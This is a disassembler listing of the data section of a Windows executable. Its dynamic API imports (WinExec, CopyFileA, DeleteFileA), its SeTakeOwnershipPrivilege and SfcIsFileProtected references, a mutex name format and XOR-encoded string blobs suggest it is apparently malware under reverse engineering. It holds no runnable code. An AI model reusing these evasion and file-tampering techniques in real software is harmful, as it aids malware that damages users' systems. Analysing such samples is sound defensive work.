dword_44D1C4	dd 1							; sub_43BE21+780r ...
dword_44D1C8	dd 2							; sub_43D4AD+176r ...
dword_44D1CC	dd 1							; sub_43B896+3Ar ...
dword_44D1D0	dd 5							; sub_43B2B1+27r ...
dword_44D1D4	dd 5							; sub_43F294+124r ...
dword_44D1D8	dd 3							; sub_43AC82+AEr ...
word_44D1DC	dw 9			; DATA XREF: sub_43B896+27r
					; sub_43D7AB+74r ...
		align 10h
dword_44D1E0	dd 1							; sub_43D7AB+101r ...
dword_44D1E4	dd 1							; sub_43AB3B+A2r ...
dword_44D1E8	dd 7							; sub_43AB3B+60r ...
dword_44D1EC	dd 6							; sub_43B947+158r ...
word_44D1F0	dw 2			; DATA XREF: sub_43B31E+3r
					; sub_43CEF8+4Ar ...
		align 4
dword_44D1F4	dd 3							; sub_43D8EA+145r ...
dword_44D1F8	dd 6							; sub_43B73E+41r ...
dword_44D1FC	dd 4							; sub_43BE21+762r ...
dword_44D200	dd 6							; sub_43BE21+76Br ...
word_44D204	dw 6			; DATA XREF: sub_43D7AB+124r
					; sub_43E2CF+39r ...
		align 4
dword_44D208	dd 6							; sub_43D16C+A6r ...
dword_44D20C	dd 7							; sub_43E8B9+231r ...
word_44D210	dw 6			; DATA XREF: sub_43AE0A+44r
					; sub_43BE21+843r ...
		align 4
dword_44D214	dd 1							; sub_43BC02+17r ...
dword_44D218	dd 9							; sub_43B73E+F8r ...
word_44D21C	dw 6			; DATA XREF: sub_43A8A3+77r
					; sub_43BE21+80Fr ...
		align 10h
word_44D220	dw 7			; DATA XREF: sub_43A764+9Br
					; sub_43B6DF+Er ...
		align 4
dword_44D224	dd 5							; sub_43B947+8Fr ...
word_44D228	dw 4			; DATA XREF: sub_43E040+18Ar
					; sub_43F09C+CDr ...
		align 4
dword_44D22C	dd 4							; sub_43B947+9r ...
dword_44D230	dd 7							; sub_43E524+220r ...
dword_44D234	dd 3							; sub_4409DF:loc_440BDCr ...
dword_44D238	dd 9							; sub_43BE21+73Er ...
word_44D23C	dw 5			; DATA XREF: sub_43B8E8+43r
					; sub_43E040+C7r ...
		align 10h
dword_44D240	dd 0							; sub_43EB7A+42Cr ...
dword_44D244	dd 9							; sub_43A8A3+165r ...
dword_44D248	dd 0							; sub_43BE21+ADCr ...
dword_44D24C	dd 9							; sub_43A6D4+55r ...
dword_44D250	dd 1							; sub_43AC82+1Ew ...
dword_44D254	dd 7C800000h						; sub_4421FA+331r ...
dword_44D258	dd 73D90000h						; sub_442ADD+2Ew ...
dword_44D25C	dd 7E410000h						; sub_43AFA1+2Ew ...
dword_44D260	dd 77F10000h						; sub_43AD9A+2Ew ...
dword_44D264	dd 774E0000h						; sub_444E43+2Ew ...
dword_44D268	dd 77120000h						; sub_43CE34+2Ew ...
dword_44D26C	dd 76BB0000h						; sub_4427FF+2Ew ...
dword_44D270	dd 76C60000h						; sub_441F34+2Ew ...
dword_44D274	dd 7C9C0000h						; sub_442C9D+2Ew ...
dword_44D278	dd 77DD0000h						; sub_43B3E1+2Ew ...
off_44D27C	dd offset aAbcdefghijklmn ; DATA XREF: sub_43E2CF:loc_43E332r
					; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
dword_44D280	dd 1							; sub_43AF59+37w ...
dword_44D284	dd 4B9C20h						; sub_4428E6+103w ...
dword_44D288	dd 471BB0h						; sub_43B347+24r ...
dword_44D28C	dd 0E860h, 0E9610000h, 2 dup(0)dword_44D29C	dd 11h,	0Fh dup(0)dword_44D2DC	dd 0E1F7EEA5h, 0BFFD7E2Ch, 869AE87Fh, 0CC244082h, 0D76ADDE2h
					; DATA XREF: sub_43F082+3o
		dd 1B77E1E1h, 505215B0h, 0D24B6456h, 3D357C6Bh,	280E85D5h
		dd 1AB051F9h, 1E4E8744h, 0E383CCDFh, 323D4737h,	14F80518h
		dd 6E0637BFh
dword_44D31C	dd 0							; sub_43EB7A+3CEw ...
off_44D320	dd offset sub_43B5BD	; DATA XREF: sub_4435CB+61Do
		dd offset sub_4443AD
		dd offset sub_43B31E
		dd offset sub_441084
		dd offset sub_43BBFA
		dd offset sub_444506
		dd offset sub_43E8B9
dword_44D33C	dd 0							; sub_43CEF8+10r ...
off_44D340	dd offset sub_43A324	; DATA XREF: .data:off_44D35Co
		dd offset sub_443175
		dd offset sub_4421CD
		dd offset sub_4444FE
		dd offset sub_4444F6
		dd offset sub_444A1F
		dd offset sub_43B6DF
off_44D35C	dd offset off_44D340	; DATA XREF: sub_43AE0A+C4o
					; sub_43B947+131o
dword_44D360	dd 0							; sub_43AE0A+73r ...
off_44D364	dd offset sub_440C0C	; DATA XREF: .data:off_44D380o
		dd offset sub_443CBA
		dd offset sub_440C87
		dd offset sub_43AF51
		dd offset sub_43E2C7
		dd offset sub_43A75C
		dd offset sub_43AE0A
off_44D380	dd offset off_44D364	; DATA XREF: sub_43B947:loc_43BAFEo
dword_44D384	dd 0FFFFFFFFh			dd 2Ah dup(0FFFFFFFFh),	3Eh, 3 dup(0FFFFFFFFh),	3Fh, 34h
		dd 35h,	36h, 37h, 38h, 39h, 3Ah, 3Bh, 3Ch, 3Dh,	7 dup(0FFFFFFFFh)
		dd 0
		dd 1, 2, 3, 4, 5, 6, 7,	8, 9, 0Ah, 0Bh,	0Ch, 0Dh, 0Eh
		dd 0Fh,	10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h,	18h, 19h
		dd 6 dup(0FFFFFFFFh), 1Ah, 1Bh,	1Ch, 1Dh, 1Eh, 1Fh, 20h
		dd 21h,	22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h,	2Ah, 2Bh
		dd 2Ch,	2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 85h dup(0FFFFFFFFh)
off_44D784	dd offset loc_43B7AC	; DATA XREF: sub_43B73E+67r
		dd offset loc_43B7B4
		dd offset loc_43B7F5
		dd offset loc_43B830
aCreatethread	db 'CreateThread',0     ; DATA XREF: sub_4421FA+2E3o
aEntercriticals	db 'EnterCriticalSection',0 ; DATA XREF: sub_4421FA+2F6o
aInitializecrit	db 'InitializeCriticalSection',0 ; DATA XREF: sub_4421FA+309o
aLeavecriticals	db 'LeaveCriticalSection',0 ; DATA XREF: sub_4421FA+31Do
		align 4
dword_44D7E8	dd 49E10000h, 75714573h, 55476C61h		db 49h,	44h, 0
byte_44D7F7	db 0			; DATA XREF: sub_444E43+87o
		dd 6F439200h, 6E696E55h, 61697469h, 657A696Ch
		db 0
byte_44D809	db 2 dup(0), 37h	; DATA XREF: sub_444E43+6Bo
aCoinitialize	db 'CoInitialize',0
byte_44D819	db 2 dup(0), 0FCh	; DATA XREF: sub_444E43+4Fo
aCocreateinstan	db 'CoCreateInstance',0
byte_44D82D	db 2 dup(0), 0E1h	; DATA XREF: sub_444E43:loc_444E76o
aClsidfromstrin	db 'CLSIDFromString',0
dword_44D840	dd 6F940000h, 3233656Ch, 6C6C642Eh		db 0
byte_44D84D	db 2 dup(0), 51h	; DATA XREF: sub_444E43+1o
aOle32_dll	db 'ole32.dll',0
word_44D85A	dw 0			; DATA XREF: sub_444ACE:loc_444D5Do
		db 20h,	5Ch, 0
byte_44D85F	db 0			; DATA XREF: sub_443DD5+55Do
		dd 6157DE00h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h
		db 74h,	0
word_44D876	dw 0			; DATA XREF: sub_443DD5+541o
aGetcomputernam	db '>GetComputerNameA',0
word_44D88A	dw 0			; DATA XREF: sub_443DD5+525o
aVgetenvironmen	db 'vGetEnvironmentStringsA',0
dword_44D8A4	dd 46180000h, 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh
					; DATA XREF: sub_443DD5+509o
		dd 676E6972h
		db 73h,	41h, 0
byte_44D8BF	db 0			; DATA XREF: sub_443DD5+4EDo
		dd 65472300h, 72754374h, 746E6572h, 65726854h, 64496461h
		db 0
byte_44D8D5	db 2 dup(0), 42h	; DATA XREF: sub_443DD5+4D1o
aGetcurrentpr_0	db 'GetCurrentProcessId',0
dword_44D8EC	dd 4FA10000h, 506E6570h, 65636F72h		db 2 dup(73h), 0
byte_44D8FB	db 0			; DATA XREF: sub_443DD5+499o
		dd 65472000h, 636F4C74h, 49656C61h, 416F666Eh
		db 0
byte_44D90D	db 2 dup(0), 0Ah	; DATA XREF: sub_443DD5+47Do
aGetversionexa	db 'GetVersionExA',0
word_44D91E	dw 0			; DATA XREF: sub_443DD5+461o
aFiletimetosyst	db 'ÚFileTimeToSystemTime',0
word_44D936	dw 0			; DATA XREF: sub_443DD5+445o
aComparefiletim	db ']CompareFileTime',0
byte_44D949	db 2 dup(0), 0DCh	; DATA XREF: sub_443DD5+429o
aGetvolumeinfor	db 'GetVolumeInformationA',0
word_44D962	dw 0			; DATA XREF: sub_443DD5+40Do
aHinterlockedde	db 'hInterlockedDecrement',0
word_44D97A	dw 0			; DATA XREF: sub_443DD5+3F1o
aFinterlockedin	db 'fInterlockedIncrement',0
word_44D992	dw 0			; DATA XREF: sub_443DD5+3D5o
aGetsystemdirec	db 0Bh,'GetSystemDirectoryA',0
byte_44D9A9	db 2 dup(0), 2Fh	; DATA XREF: sub_443DD5+3B9o
aGetmodulefilen	db 'GetModuleFileNameA',0
byte_44D9BF	db 0			; DATA XREF: sub_443DD5+39Do
		dd 704F3800h, 754D6E65h, 41786574h
		db 0
byte_44D9CD	db 2 dup(0), 89h	; DATA XREF: sub_443DD5+381o
aCreatemutexa	db 'CreateMutexA',0
byte_44D9DD	db 2 dup(0), 68h	; DATA XREF: sub_443DD5+365o
aCopyfilea	db 'CopyFileA',0
word_44D9EA	dw 0			; DATA XREF: sub_443DD5+349o
aQgetdiskfreesp	db 'qGetDiskFreeSpaceA',0
byte_44D9FF	db 0			; DATA XREF: sub_443DD5+32Do
		dd 6553A300h, 72724574h, 6F4D726Fh
		db 64h,	65h, 0
byte_44DA0F	db 0			; DATA XREF: sub_443DD5+311o
		db    0
aUgetexitcodeth	db 'îGetExitCodeThread',0
dword_44DA24	dd 47430000h, 72447465h, 54657669h, 41657079h		db 0
byte_44DA35	db 2 dup(0), 1Ch	; DATA XREF: sub_443DD5+2D9o
aFindclose	db 'FindClose',0
word_44DA42	dw 0			; DATA XREF: sub_443DD5+2BDo
aTfindnextfilea	db 'tFindNextFileA',0
byte_44DA53	db 0			; DATA XREF: sub_443DD5+2A1o
		dd 69465000h, 6946646Eh, 46747372h, 41656C69h
		db 0
byte_44DA65	db 2 dup(0), 0C3h	; DATA XREF: sub_443DD5+285o
aGettickcount	db 'GetTickCount',0
byte_44DA75	db 2 dup(0), 9		; DATA XREF: sub_443DD5+269o
aRtlzeromemory	db 'RtlZeroMemory',0
word_44DA86	dw 0			; DATA XREF: sub_443DD5+24Do
aCgetsystemtime	db 'æGetSystemTime',0
byte_44DA97	db 0			; DATA XREF: sub_443DD5+231o
		dd 6F4CE700h, 466C6163h, 656572h
dword_44DAA4	dd 4C950000h, 6C61636Fh, 6F6C6C41h		db 63h,	0
word_44DAB2	dw 0			; DATA XREF: sub_443DD5+1F9o
aDvirtualfree	db 'DVirtualFree',0
byte_44DAC1	db 2 dup(0), 61h	; DATA XREF: sub_443DD5+1DDo
aVirtualalloc	db 'VirtualAlloc',0
byte_44DAD1	db 2 dup(0), 66h	; DATA XREF: sub_443DD5+1C1o
aReadfile	db 'ReadFile',0
byte_44DADD	db 2 dup(0), 7Bh	; DATA XREF: sub_443DD5+1A5o
aGettemppatha	db 'GetTempPathA',0
byte_44DAED	db 2 dup(0), 42h	; DATA XREF: sub_443DD5+189o
aGlobalmemoryst	db 'GLobalMemoryStatus',0
byte_44DB03	db 0			; DATA XREF: sub_443DD5+16Do
		dd 754DFC00h, 4269746Ch, 54657479h, 6469576Fh, 61684365h
		db 72h,	0
word_44DB1A	dw 0			; DATA XREF: sub_443DD5+151o
		dd 6469577Fh, 61684365h, 4D6F5472h, 69746C75h, 65747942h
		db 0
byte_44DB31	db 2 dup(0), 0CFh	; DATA XREF: sub_443DD5+135o
aWinexec_0	db 'WinExec',0
dword_44DB3C	dd 6C350000h, 6C727473h, 576E65hdword_44DB48	dd 47690000h, 69467465h, 6953656Ch		db 7Ah,	65h, 0
byte_44DB57	db 0			; DATA XREF: sub_443DD5+E1o
		dd 6C431E00h, 4865736Fh, 6C646E61h
		db 65h,	0
word_44DB66	dw 0			; DATA XREF: sub_443DD5+C5o
aCwritefile	db 'cWriteFile',0
byte_44DB73	db 0			; DATA XREF: sub_443DD5+A9o
		dd 65538600h, 6C694674h, 696F5065h, 7265746Eh
		db 0
byte_44DB85	db 2 dup(0), 0FDh	; DATA XREF: sub_443DD5+8Do
aDeletefilea	db 'DeleteFileA',0
dword_44DB94	dd 437C0000h, 74616572h, 6C694665h		db 65h,	41h, 0
byte_44DBA3	db 0			; DATA XREF: sub_443DD5+55o
		dd 6F4C1200h, 694C6461h, 72617262h
		db 79h,	41h, 0
byte_44DBB3	db 0			; DATA XREF: sub_443DD5+39o
		dd 65471A00h, 646F4D74h, 48656C75h, 6C646E61h
		db 65h,	41h, 0
byte_44DBC7	db 0			; DATA XREF: sub_443DD5+1Do
		dd 6542A600h
		db 65h,	70h, 0
byte_44DBCF	db 0			; DATA XREF: sub_443DD5+1o
		dd 7845F000h, 68547469h, 64616572h
		db 0
byte_44DBDD	db 3, 0, 80h		; DATA XREF: sub_4435CB+34Do
		dd 0BDEFBBh
dword_44DBE4	dd 18230004h, 1E4C50hdword_44DBEC	dd 7F440004h, 6E7920hdword_44DBF4	dd 3, 9900D0h, 97009Dh		db 2 dup(0)
word_44DC02	dw 17h			; DATA XREF: sub_44318C:loc_4433B0o
aXgxgxgxgaxgx_0	db 'Àå£å£å£å£íå£å£å£å£å£î£¯­',0
byte_44DC1D	db 16h,	0, 0CFh		; DATA XREF: sub_44318C+1DEo
aMMMMMtMMMMs_0	db 'ê¬ê¬ê¬ê¬ê¬âê¬ê¬ê¬ê¬á½º',0
byte_44DC37	db 0			; DATA XREF: sub_4430CE+26o
		dd 6B6B1F00h, 78762D71h
		db 0
byte_44DC41	db 2 dup(0), 6Dh	; DATA XREF: sub_4430CE:loc_4430E4o
aS_mtxU		db '%s_mtx%u',0
byte_44DC4D	db 2 dup(0), 9Eh	; DATA XREF: sub_442DF5:loc_443066o
		db 0
byte_44DC51	db 1, 0, 0FAh		; DATA XREF: sub_442DF5:loc_442FFBo
		db 82h,	0
word_44DC56	dw 0			; DATA XREF: sub_442C9D:loc_442CD0o
a4shgetfolderpa	db '4SHGetFolderPathA',0
word_44DC6A	dw 0			; DATA XREF: sub_442C9D+1Co
aQshell32_dll	db 'qshell32.dll',0
byte_44DC79	db 2 dup(0), 9Dh	; DATA XREF: sub_442C9D+1o
aShell32_dll	db 'shell32.dll',0
dword_44DC88	dd 73F80000h, 70637274h		db 79h,	0
word_44DC92	dw 0			; DATA XREF: sub_442ADD+183o
aSvsprintf	db 'svsprintf',0
word_44DC9E	dw 0			; DATA XREF: sub_442ADD+167o
aZsprintf	db '‡sprintf',0
byte_44DCA9	db 2 dup(0), 48h	; DATA XREF: sub_442ADD+14Bo
aStrcat		db 'strcat',0
byte_44DCB3	db 0			; DATA XREF: sub_442ADD+12Fo
		dd 7273DF00h, 646E61h
dword_44DCBC	dd 72A40000h, 646E61hdword_44DCC4	dd 6DE20000h, 65736D65h		db 74h,	0
word_44DCCE	dw 0			; DATA XREF: sub_442ADD+DBo
aMemcpy		db 'Òmemcpy',0
dword_44DCD8	dd 6D930000h, 6D636D65h		db 70h,	0
word_44DCE2	dw 0			; DATA XREF: sub_442ADD+A3o
		dd 6C616D14h, 636F6Ch
dword_44DCEC	dd 66E60000h, 656572hdword_44DCF4	dd 61290000h, 696F74hdword_44DCFC	dd 748D0000h, 7070756Fh		db 65h,	72h, 0
byte_44DD07	db 0			; DATA XREF: sub_442ADD:loc_442B10o
		dd 735F4000h, 7065656Ch
		db 0
byte_44DD11	db 2 dup(0), 6		; DATA XREF: sub_442ADD+1Co
aCrtdll_dll	db 'crtdll.dll',0
byte_44DD1F	db 0			; DATA XREF: sub_442ADD+1o
		dd 72638800h, 6C6C6474h, 6C6C642Eh
		db 0
aSetakeownershi	db 'SeTakeOwnershipPrivilege',0 ; DATA XREF: sub_4428E6+17Fo
word_44DD46	dw 0			; DATA XREF: sub_4427FF+3Co
aXsfcisfileprot	db 'åSfcIsFileProtected',0
dword_44DD5C	dd 73500000h, 642E6366h		db 2 dup(6Ch), 0
byte_44DD67	db 0			; DATA XREF: sub_4427FF+1o
		dd 6673A500h, 6C642E63h, 6Ch
dword_44DD74	dd 4, 700032h, 76007Dh,	6Bhdword_44DD84	dd 69430001h			db 0
byte_44DD89	db 4, 0, 68h		; DATA XREF: sub_441F97+98o
aLhhh		db 'lhhh',0
asc_44DD91	db 0Ah,0		; DATA XREF: sub_441F34+1Co
		db 0DCh
		dd 83BFBAAFh, 0B8F2AFB3h
		db 2 dup(0B0h),	0
byte_44DD9F	db 0			; DATA XREF: sub_441F34+1o
		dd 6673DB00h, 736F5F63h, 6C6C642Eh
		db 0
byte_44DDAD	db 1, 0, 25h		; DATA XREF: sub_441138+CEDo
		db 59h,	0
word_44DDB2	dw 2			; DATA XREF: sub_441138+CC1o
		dd 0C894B4h
dword_44DDB8	dd 2F150001h			db 0
byte_44DDBD	db 4, 0, 0F9h		; DATA XREF: sub_441138:loc_441D22o
aM		db 'ÙÜŒÃ',0
byte_44DDC5	db 1, 0, 8		; DATA XREF: sub_441138+6A6o
		db 74h,	0
word_44DDCA	dw 0Ah			; DATA XREF: sub_441138+46Bo
		dd 166C7050h, 6A1D021Fh, 6E2575h
dword_44DDD8	dd 3C1C000Bh, 5D4E5A20h, 39265951h		db 69h,	22h, 0
byte_44DDE7	db 0Ah			; DATA XREF: sub_441138+27Bo
		dd 0D9C5E500h, 0A8A4B7A3h, 0DBA8DFA0h, 0
dword_44DDF8	dd 4, 4B0025h, 480044h,	40hdword_44DE08	dd 5, 60070h, 1C0011h, 150005h		db 2 dup(0)
word_44DE1A	dw 1			; DATA XREF: sub_440CB4+304o
		db 0DAh, 0F9h, 0
byte_44DE1F	db 1			; DATA XREF: sub_440CB4+2B8o
		dd 0B19200h
dword_44DE24	dd 230001h			db 0
byte_44DE29	db 7, 0, 24h		; DATA XREF: sub_440CB4+20Fo
		dd 5450504Ch, 0B0B1Eh
dword_44DE34	dd 64470001h			db 0
byte_44DE39	db 7, 0, 0CCh		; DATA XREF: sub_440CB4:loc_440DD6o
		dd 0BCB8B8A4h, 0E3E3F6h
dword_44DE44	dd 0A7C4042Bh, 0ACA7A1ACh, 0B6B4AAA1h, 0EAB7B7A1h, 0ABA2AAADh
					; DATA XREF: sub_440CB4+10o
		dd 0A8ABA3E7h, 0A8ABB4A0h, 0ABA7EAA8h, 0AAADE7A9h, 0A8ABA3B0h
		dd 0ABA7EAA0h, 0B3B3E7A9h, 0A6A7EAB3h, 0B1B6EAB6h, 0B3B3B3E7h
		dd 0A7ABB7EAh, 0A5EAB7AFh, 0B0B7E7A7h, 0B4A9B6ABh, 0A7EABDA5h
		dd 0A7E7A9ABh, 0ABB0B1B6h, 0B1AAEAB4h, 0B3A1AAE7h, 0A3A3A1EAh
		dd 0A9ABA7EAh, 0B3B3B3E7h, 0AAABB4EAh, 0A7B7ADBEh, 0EAB7A9A5h
		dd 0E7A9ABA7h, 0A7A8A1B3h, 0F7A1A9ABh, 0ADA9B7EAh, 0A7EAA1A8h
		dd 0AFB1EAABh, 0A6A8ABE7h, 0A5AAEAF6h, 0AAABADB0h, 0A7EAB0A1h
		dd 0B3E7A9ABh, 0A6EAB3B3h, 0EAAAADA6h, 0A9E7B1B6h, 0A1B0B7A5h
		dd 0EABCE9B6h, 0E7A9ABA7h, 0EAB3B3B3h, 0BEAAABB4h, 0A5A7B7ADh
		dd 0A7EAB7A9h, 0B3E7A9ABh, 0A6EAB3B3h, 0E9AFAAA5h, 0B5AAA5A6h
		dd 0A7E9A1B1h, 0A0A5AAA5h, 0A5A7EAA5h, 0B3B3B3E7h, 0AAABB4EAh
		dd 0A7B7ADBEh, 0EAB7A9A5h, 0E7A9ABA7h, 0EAB3B3B3h, 0EAABA9A6h
		dd 0E7A9ABA7h, 0B4BDA5B4h, 0A7EAA8A5h, 0A1E7A9ABh, 0EABDA5A6h
		dd 0E7A9ABA7h, 0EAB3B3B3h, 0AFAAA5A6h, 0A5A9A2ABh, 0A5B6B1A0h
		dd 0A9ABA7EAh, 0B3B3B3E7h, 0A6ADA7EAh, 0ABA7EAA7h, 0B3B3E7A9h
		dd 0B0B2EAB3h, 0B1B6EAA6h, 0B3B3B3E7h, 0A6B3A7EAh, 0EAAFAAA5h
		dd 0E7A9ABA7h, 0A0A8ABA3h, 0A8A8ABB4h, 0A9ABA7EAh, 0B3B3B3E7h
		dd 0AAABB4EAh, 0A7B7ADBEh, 0EAB7A9A5h, 0E7A9ABA7h, 0EAB3B3B3h
		dd 0A5A6A9A9h, 0B6EAAFAAh, 0B3B3E7B1h, 0AAB1EAB3h, 0B0B7A5ADh
		dd 0EAA9B1B6h, 0A3E7B1B6h, 0B4A0A8ABh, 0EAA8A8ABh, 0E7A9ABA7h
		dd 0EAB3B3B3h, 0BEAAABB4h, 0A5A7B7ADh, 0A7EAB7A9h, 0B3E7A9ABh
		dd 0B3EAB3B3h, 0A0A8B6ABh, 0AFAAA5A6h, 0A3B6ABEAh, 0B3B3B3E7h
		dd 0AAA5A7EAh, 0A5A0ADA0h, 0A1B2A1B0h, 0ADA2ADB6h, 0A7EAB6A1h
		dd 0B3E7A9ABh, 0B4EAB3B3h, 0ADBEAAABh, 0A9A5A7B7h, 0ABA7EAB7h
		dd 0B3B3E7A9h, 0A5A6EAB3h, 0A2ABAFAAh, 0ADA0AAADh, 0ABA7EAA5h
		dd 0B3B3E7A9h, 0A7ADEAB3h, 0AFAAA5A6h, 0E7B1B6EAh, 0AFAAA5A6h
		dd 0EAA3AAADh, 0ADA8A5ACh, 0E9BCA5A2h, 0ADA8AAABh, 0A7EAA1AAh
		dd 0AFB1EAABh, 0B3B3B3E7h, 0AAA1B2EAh, 0B7B6ABA0h, 0A1A9A5AAh
		dd 0E7B7B3EAh, 0EAB3B3B3h, 0EAA6A9AFh, 0B3E7B1B6h, 0AAEAB3B3h
		dd 0A5A9B0A1h, 0B0B7ADA3h, 0A7EAB6A1h, 0AFE7A9ABh, 0A5AFB2A5h
		dd 0AAA1A7BEh, 0EAB6A1B0h, 0E7A9ABA7h, 0EAB3B3B3h, 0A0AAA1B2h
		dd 0AAB7B6ABh, 0EAA1A9A5h, 0A9E7B7B3h, 0A8AAABBDh, 0A5A1AAADh
		dd 0B1ABA7A7h, 0F6B7B0AAh, 0A6A6A5EAh, 0A5AABDA1h, 0AAABADB0h
		dd 0A7EAA8A5h, 0AFB1EAABh, 0A8AAABE7h, 0E9A1AAADh, 0ADB7B1A6h
		dd 0B7B7A1AAh, 0ABA8A8EAh, 0B0B7A0BDh, 0A7EAA6B7h, 0AFB1EAABh
		dd 0B3B3B3E7h, 0A8A8A5EAh, 0A6A5ACA5h, 0A5A6A0A5h, 0A7EAAFAAh
		dd 0B3E7A9ABh, 0B6EAB3B3h, 0A7EAA7A6h, 0B3E7A9ABh, 0B4EAB3B3h
		dd 0ADBEAAABh, 0A9A5A7B7h, 0ABA7EAB7h, 0B3B3E7A9h, 0ACEAF5B3h
		dd 0EAA7A6B7h, 0AFE7A5A7h, 0A1B6A6A3h, 0A7BCA5A8h, 0EAA6B1A8h
		dd 0BDE7B1B6h, 0ABA6A9A5h, 0BEADA6EAh, 0A0ADAFE7h, 0A6E9B7ABh
		dd 0EAAFAAA5h, 0B3E7B1B6h, 0A8EAB3B3h, 0ADA0A7A6h, 0B0A7A1B6h
		dd 0B1A5A8EAh, 0B0AAA1B6h, 0A6AAA5ADh, 0EAAFAAA5h, 0A6E7A5A7h
		dd 0A8A7B6A5h, 0EAB7BDA5h, 0E7A9ABA7h, 0A5B0ABB0h, 0A2BDA8A8h
		dd 0A6A1A1B6h, 0ADAFAAA5h, 0A7EAA3AAh, 0B3E7A9ABh, 0AAEAB3B3h
		dd 0A7EAA7A6h, 0F7F1E7A5h, 0AFAAA5A6h, 0A9ABA7EAh, 0B3B3B3E7h
		dd 0AAA1B2EAh, 0B7B6ABA0h, 0A1A9A5AAh, 0E7B7B3EAh, 0EAB3B3B3h
		dd 0E9A6F6A6h, 0B7B1B6B0h, 0ABA7EAB0h, 0B3B3E7A9h, 0A1B2EAB3h
		dd 0B6ABA0AAh, 0A9A5AAB7h, 0B7B3EAA1h, 0A1B4ABE7h, 0AAA5A6AAh
		dd 0ABA7EAAFh, 0A5B0E7A9h, 0A1AAE9B0h, 0A5A6B0A2h, 0B6EAAFAAh
		dd 0A1B7E7B1h, 0A6A5A8A7h, 0E7B1B6EAh, 0B1A7A1B7h, 0BDB0ADB6h
		dd 0EAA6A5A8h, 0A2E7B1B6h, 0A5ACB0A1h, 0A6EAA0B6h, 0A3E7BEADh
		dd 0BCAAABB6h, 0AAA5A8B4h, 0EAB7B0A1h, 0B2E7B1B6h, 0ABA0AAA1h
		dd 0A5AAB7B6h, 0B3EAA1A9h
		db 0B7h, 0E7h, 0
byte_44E273	db 0			; DATA XREF: sub_4409DF:loc_440BA3o
		dd 7973BE00h, 6D657473h, 666F7270h, 656C69h
dword_44E284	dd 656A0000h, 63697672h		db 65h,	0
word_44E28E	dw 0			; DATA XREF: sub_4409DF+101o
		db 0DAh, 24h, 0
byte_44E293	db 0			; DATA XREF: sub_4409DF:loc_440A7Bo
		dd 5320EA00h, 49565245h
		db 43h,	45h, 0
byte_44E29F	db 0			; DATA XREF: sub_4409DF:loc_440A38o
		dd 59536800h, 4D455453h
		db 0
byte_44E2A9	db 2 dup(0), 0E8h	; DATA XREF: sub_43F4CC+832o
a_data		db '.data',0
asc_44E2B2	db 9,0			; DATA XREF: sub_43F294+1E2o
a_bixnydi	db '-}_BIXNYdI',0
asc_44E2BF	db ',',0                ; DATA XREF: sub_43F294+1D2o
		db 5Dh,	0Eh, 12h
		dd 1C0A091Bh, 1001180Fh, 322F3E34h, 293B322Eh, 33340A01h
		dd 2E2A3239h, 109137Dh,	2F2F281Eh, 0B293338h, 342E2F38h
		db 32h,	33h, 0
byte_44E2EF	db 9			; DATA XREF: sub_43F294+173o
		dd 0C4E6B600h, 0D5C3D2D9h, 0D2FFC2h
dword_44E2FC	dd 0C6950029h, 0C2C1D3DAh, 0C9D0C7D4h, 0E7F6FCD8h, 0F3FAE6FAh
					; DATA XREF: sub_43F294+163o
		dd 0FCC2C9E1h, 0E2FAF1FBh, 0E0D6C9E6h, 0FBF0E7E7h, 0E7F0C3E1h
		dd 0FBFAFCE6h
		db 0
byte_44E329	db 1, 0, 0C0h		; DATA XREF: sub_43F294+147o
		db 0EEh, 0
word_44E32E	dw 4			; DATA XREF: sub_43F294+E5o
aUicr		db '¾“›æ',0
word_44E336	dw 3			; DATA XREF: sub_43F294+9Do
		dd 0C6A3350h
		db 0
byte_44E33D	db 8, 0, 47h		; DATA XREF: sub_43F294:loc_43F2F9o
aB2ib2ib2	db 'b2ib2ib2',0
byte_44E349	db 2, 0, 97h		; DATA XREF: sub_43F294+50o
		db 0D9h, 0C3h, 0
byte_44E34F	db 2			; DATA XREF: sub_43F294+32o
		dd 94F5CC00h
		db 0
byte_44E355	db 2 dup(0), 0B0h	; DATA XREF: sub_43F19E:loc_43F201o
		db 0
byte_44E359	db 4, 0, 0F9h		; DATA XREF: sub_43EB7A+409o
aAsn		db 'ט',0
byte_44E361	db 4, 0, 0D9h		; DATA XREF: sub_43E7D1+72o
		dd 81E1E9FCh
		db 0
byte_44E369	db 0Fh,	0, 18h		; DATA XREF: sub_43E524+90o
aKdTMb6Tt	db '=kD|~t=mb+*6|tt',0
dword_44E37C	dd 326000Fh, 404D7A55h,	5C4A5303h, 42081415h		db 2 dup(4Ah), 0
byte_44E38F	db 0Bh			; DATA XREF: sub_43E524+3Bo
		dd 37614400h, 61376118h, 282A6A31h
		db 37h,	0
word_44E39E	dw 4			; DATA XREF: sub_43E040+40o
		dd 0C891D7F2h
		db 0AEh, 0
word_44E3A6	dw 1			; DATA XREF: sub_43D8EA:loc_43DDE9o
		db 0D4h, 0F4h, 0
byte_44E3AB	db 0			; DATA XREF: sub_43D8EA+4B6o
		db 0, 0F0h, 0
byte_44E3AF	db 13h			; DATA XREF: sub_43D8EA+48Co
		dd 0F6CD9800h, 0FDF4FAF9h, 0B8F7ECB8h, 0F0ECEDF9h, 0E2F1EAF7h
		db 0FDh, 0
word_44E3C6	dw 35h			; DATA XREF: sub_43D8EA+47Co
		dd 0D8D7ECB9h, 99DCD5DBh, 0D899D6CDh, 0D6D1CDCCh, 0DCC3D0CBh
		dd 0F0999499h, 0EBF6FAF7h, 0EDFAFCEBh, 0F7F0E999h, 0D5E99997h
		dd 0DCCAD8DCh, 0D6DA9995h, 0DADCCBCBh
		db 0CDh, 97h, 0
byte_44E3FF	db 1			; DATA XREF: sub_43D8EA:loc_43DBA8o
		dd 0EFC200h
dword_44E404	dd 0A7F7001Eh, 8496929Bh, 84D7DB92h, 94929B92h,	8FB2D783h
					; DATA XREF: sub_43D8EA+27Eo
		dd 96859E87h, 99989E83h, 9692AED7h
		db 85h,	0
word_44E426	dw 1			; DATA XREF: sub_43D8EA:loc_43DAF0o
		db 5Ah,	7Ah, 0
byte_44E42B	db 1Fh			; DATA XREF: sub_43D8EA+1BEo
		dd 300C5C00h, 392F3D39h, 392F7C70h, 283F3930h, 2C24197Ch
		dd 283D2E35h, 7C323335h, 28323311h
		db 34h,	0
word_44E44E	dw 2			; DATA XREF: sub_43D7AB+112o
		dd 676747h
